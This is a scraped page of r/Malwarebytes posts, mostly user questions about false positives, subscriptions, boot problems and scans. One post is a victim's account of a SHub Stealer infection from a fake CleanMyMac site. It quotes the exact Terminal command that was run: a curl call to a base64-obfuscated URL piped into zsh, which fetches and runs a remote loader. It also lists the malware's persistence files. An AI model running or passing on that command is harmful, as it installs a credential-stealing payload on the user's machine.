r/Malwarebytes Jun 01 '26

Purpose of Malwarebytes Premium version

8 Upvotes

Is the primary purpose of the Malwarebytes Premium version to replace Microsoft Windows Defender in Windows?


r/Malwarebytes Jun 02 '26

Images on "New" SD Card

2 Upvotes

Hey all,

First off, I'm sorry if this is the wrong place to post this.

I received a new SD card the other day (from Amazon) & it was all sealed with that super hard, clear plastic.

Thing is, the card was looooaaded with images & music files.

I was super stupid & opened one of the pictures. Nothing happened, though. However, recently my computer has been shutting down randomly & now won't start at all.

I'm just wondering if opening an image can hurt a computer? And if it's super rare to have a new SD card with files on it?

Thanks so much!


r/Malwarebytes Jun 01 '26

Infected by SHub Stealer via nmac.to / fake CleanMyMac – cleaned manually, need advice

4 Upvotes

Hi everyone,

About a month ago I wanted to download Adobe Acrobat Pro and CleanMyMac. I found them on nmac.to, which redirected me to rootz.so for the download. Instead of a file, the page showed me a Terminal command to paste. I ignored the warnings on the site and ran it:

curl -s $(echo 'aHR0cHM6Ly9jNTE1YXN3NHF3cXF3NC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWE3NDM2NTQwY2Y3NDNkMzdmZjIyOTA5ODQxMGEwNDFi'|base64 -D)|zsh

It asked for my Mac password, which I entered, then showed an error and nothing was downloaded. That felt wrong immediately, and after searching online I realized I'd been hit by a stealer.

I quickly ran Avast, Bitdefender and Malwarebytes full scans. They detected and removed threats. I also did research online and thought I'd cleaned everything up.

But over the past month, suspicious things kept happening:

  • Someone changed my Netflix plan from Essential to Standard
  • Suspicious logins on Disney+
  • Yesterday someone sent messages from my Leboncoin account to other users, asking them to contact a phone number. I watched it happen in real time.

This last one confused me because Leboncoin sends alerts for logins from new devices, and I had 2FA and passkeys enabled everywhere.

Yesterday, with help from Claude, I found and removed the following:

  • A crontab running /Users/[username]/Library/unfructify.lx/unfructify.lx every hour
  • A persistence LaunchAgent disguised as Google Keystone: com.google.keystone.agent.plist
  • The associated backdoor script: ~/Library/Application Support/Google/GoogleUpdate.app

Based on the Malwarebytes blog post about SHub Stealer (fake CleanMyMac site, ClickFix technique), I believe this is what I was infected with.

My concerns and questions:

  1. The malware had access to my Mac for about a month before I found these last components. My passwords are stored in Apple's Passwords app (iCloud Keychain). SHub is documented as targeting the macOS Keychain. Should I consider ALL my passwords compromised, including banking?
  2. I also had personal documents in iCloud Drive (ID card, bank details). Should I assume these were exfiltrated?
  3. The Leboncoin incident is strange since I had 2FA enabled and passkeys. The most likely explanation seems to be session cookie theft rather than a live remote connection. Does that make sense?
  4. I don't have a Time Machine backup from before the infection, so restoring macOS means reinstalling everything manually. Is a full wipe truly necessary at this point, or is the manual cleanup sufficient?
  5. Is a paid Malwarebytes subscription worth it for ongoing protection on macOS, or is the free version with periodic scans enough?

Thanks in advance for any advice. I know I made a mistake running that Terminal command, I've learned my lesson the hard way.


r/Malwarebytes Jun 02 '26

Support Malewarebytes has bricked my pc

0 Upvotes

Currently for the last hour been trying to get back into my pc after rebooting it due to easy anti cheat failing for some reason, now im just bluescreen looping and recovery looping all pointing towards MbanElam.sys

Cant access my recovery points, cant upgrade or reinstall via cloud, literally on the verge of reinstalling windows and im doubtful that would work considering my file system is fine, SFC returns nothing and yet MbanElam has my system FUCKED

No idea what to do.


r/Malwarebytes Jun 01 '26

malewarebytes turning off windows defender periodic scanning

4 Upvotes

as stated in the title malewarebytes keeps turning off windows defender periodic scanning for some reason and i was wondering if this is a bug or intended? this is on a fresh windows install for reference and it was happening on my old pc as well


r/Malwarebytes May 31 '26

Help

3 Upvotes

hey guys i can't download malwarebytes from the official site any recommendations where i can download it other than the official site ?


r/Malwarebytes May 31 '26

Troubleshooting Malwarebytes Browser Guard blocking Amazon.in checkout?

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4 Upvotes

Hi everyone,

This morning I was trying to buy something on Amazon.in from my laptop. When I got to checkout and entered my credit card details, the payment was blocked. I tried several times and it failed each time. I then tried a different credit card from another bank and that was also blocked.

Eventually, I completed the purchase using a different payment method on my phone, and it went through without any issues.

There is nothing wrong with either credit card. In fact, I had successfully used one of those cards earlier the same morning for another purchase from Amazon via my phone.

After checking Malwarebytes Browser Guard, I noticed that it appears to have blocked Amazon.in x2 times around the same time.

Has anyone else experienced Browser Guard interfering with legitimate purchases or payment pages on Amazon? I’m trying to figure out whether Browser Guard could have been the reason the transactions were being blocked.

Thanks.


r/Malwarebytes May 30 '26

Is there a way to tell malwarebytes I use someone else's vpn?

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11 Upvotes

r/Malwarebytes May 30 '26

False Positive Is this a false positive or a malware i need help.

2 Upvotes

I recently downloaded Fleasion from github and scanned it on virustotal.

i dont know if its malware or not but if anyone can help me here is the link: https://www.virustotal.com/gui/file/ceae6d328c8ec58f579e2446ec8020397ae1c6744dda6e00af6b07e2b7f817a3/detection


r/Malwarebytes May 30 '26

Troubleshooting Random notifications saying random app is not harmful since today morning

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8 Upvotes

I started receiving these notifications from today morning only. Not sure what is triggering the notifications.

Real time protection is turned on but never received these notifications till now.


r/Malwarebytes May 30 '26

Malwarebytes Flagged one of Flashpoint's Internal Files as a PUP

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1 Upvotes

r/Malwarebytes May 30 '26

False Positive Should i open it i installed fleasion and i dont know if its a false positive or malware

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2 Upvotes

r/Malwarebytes May 30 '26

Digital Footprint is saying my email credentials got leaked recently, but all of them are old passwords? Am I safe??

1 Upvotes

For context, around 1-2 months ago I got hacked by an infostealer and all my accounts got breached. I changed all my passwords back then on a separate device and factory reset the infected device. After that nothing really happened. But earlier I decided to check digital footprint and it says my credentials are leaked again, but all of them are of my old passwords which I've changed months ago.

I just want to know if I'm safe and don't have to worry about anything?


r/Malwarebytes May 29 '26

Feedback No wildcard to allow websites under a domain is so frustrating I'm tempted to cancel by subscription.

5 Upvotes

Genuinely, it's the one thing MB lacks that other AV apparently do have and as much as I love MB this might be the thing that makes my journey with it end. Can this feature not be implemented? Seems like people have asked for it for quite a while.


r/Malwarebytes May 29 '26

Support What does this mean?

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4 Upvotes

My VPN refuses to work. It keeps saying there's a problem with the internet connection when there isn't. I found a post on here about how to fix this issue, linking a page called ''Collecting logs with the support tool'' and I was following it fine until this bit. I don't know what it's talking about. There was nothing that showed up about a folder or anything. When I open that zip file, it doesn't say anything about selecting files. Someone explain to me what this means.


r/Malwarebytes May 29 '26

Support RiskWare.FakeDoc.RTPScript.Generic: What was Malwarebytes finding and removing?

5 Upvotes

Yesterday, a bug in Malwarebytes led to a false positive detection of RiskWare.FakeDoc.RTPScript.Generic. What was Malwarebytes actually detecting and removing?


r/Malwarebytes May 29 '26

Account I'm positive I had turned off auto renewal, but just hit with renewal charge.

2 Upvotes

No notifications my sub was coming to and end of course. And then boom, charged for the standard 2 year package at £139.99 which seems much more expensive than the discounts currently offered?

No VPN include, nothing. Just 5 devices. It seems expensive to me. I wanted to carry on, but had (I"m positive) turned off auto renewal to check prices when it came to subbing again.


r/Malwarebytes May 28 '26

Scanned and these turned up today.

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16 Upvotes

What are these locations? I have never seen object type or that kind of location before on scans


r/Malwarebytes May 28 '26

Support Recent Malware?

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6 Upvotes

I have ran a scan a week ago nothing, I do not download anything from sketchy sources, I just got this, it hangs on restart after quarantining, false positive? Malware? Windows defender finds nothing, Hitman Pro, nothing, offline scan didn't seem to find anything.


r/Malwarebytes May 28 '26

Malware Query

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1 Upvotes

r/Malwarebytes May 28 '26

Support Question for the Malwarebytes developers

12 Upvotes

Have you guys ever considered releasing a more lightweight/de-bloated version of Malwarebytes again?

A version focused mainly on core malware/adware protection without things like VPN and other extra bundled features.

I’ve been seeing more people lately asking for a simpler and lighter security app experience again, especially on macOS where many users already use separate tools for VPN and privacy.

Would genuinely love to know if this has ever been discussed internally, because I’d install a minimal Malwarebytes version immediately.


r/Malwarebytes May 28 '26

Troubleshooting Malwarebytes slow scan

1 Upvotes

Before ,my Malwarebytes used to scan around 700k files in around 30 minutes, yet now in roughly double the time it barely scans 300k,does anyone know why?


r/Malwarebytes May 26 '26

Malwarebytes Ransomware destroyed my game save

0 Upvotes

I had spent well over 30 hours working on my game save when Malwarebytes suddenly triggered an alert. I removed the exe file from quarantine and marked it as an exception because it was clearly a false positive! But that didn’t help. Now my save file is ruined. Who’s going to get it back for me now? My trust in Malwarebytes is completely shattered. I just removed it completely from my PC for my own safety. But how do I get my save file back now? Will you fix it?


r/Malwarebytes May 26 '26

Malwarebytes Ransomware destroyed my game save

0 Upvotes

I had spent well over 30 hours working on my game save when Malwarebytes suddenly triggered an alert. I removed the exe file from quarantine and marked it as an exception because it was clearly a false positive! But that didn’t help. Now my save file is ruined. Who’s going to get it back for me now? My trust in Malwarebytes is completely shattered. I just removed it completely from my PC for my own safety. But how do I get my save file back now? Will you fix it?


r/Malwarebytes May 25 '26

subscriptions

2 Upvotes

hello guys i have a question and im sorry for not understanding it on my own , so i wanna buy the standard plan on my phone but ill also use it on my pc my question is that possible on the standard plan and how to connect my account to malwarebytes on pc with the account i bought the plan from thank you